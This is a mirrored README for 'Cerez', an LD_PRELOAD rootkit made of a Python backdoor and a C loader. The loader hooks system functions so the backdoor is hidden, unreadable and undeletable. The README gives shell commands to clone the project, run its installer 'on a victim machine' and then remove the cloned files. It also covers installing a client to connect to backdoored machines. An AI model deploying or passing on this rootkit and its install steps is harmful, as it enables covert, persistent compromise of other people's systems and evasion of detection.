Code Monkey home page Code Monkey logo

cerez's Introduction


Cerez ๐Ÿ˜ˆ A simple LD_PRELOAD rootkit

Cerez is a LD_PRELOAD rootkit, it consists of two parts, a backdoor (written in python) and a loader (written in c). Loader is a SO binary that gets installed into /lib and writes its path into /etc/ld.so.preload, this way every binary on the system preloads it. By overwriting system functions like fopen, readdir, access and unlinkat it makes it nearly impossible to remove/detect the backdoor. I also wrote a simple client that you can use to connect the backdoor.

Features

  • โœ” Hidden in the process list
  • โœ” Hidden in the file system
  • โœ” Unreadable
  • โœ” Undeleteable
  • โœ” Unwriteable
  • โŒ Hidden in the network list (WIP)

Installing the rootkit

To install the rootkit on a victim machine:

git clone https://github.com/ngn13/cerez.git
cd cerez
chmod +x install.sh
# before installing see the backdoor.py
# and change the backdoor password
./install.sh
cd ..
rm -rf cerez

Installing the client

To install the client that you can use to connect a backdoored machine:

git clone https://github.com/ngn13/cerez.git
cd cerez
chmod +x client.py
./client.py

Resources

To learn more about LD_PRELOAD rootkits, I highly recommend you read this article. I also left some comments in the loader.c so you can go ahead and read it. You can also create an issue/PR if you are interested.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.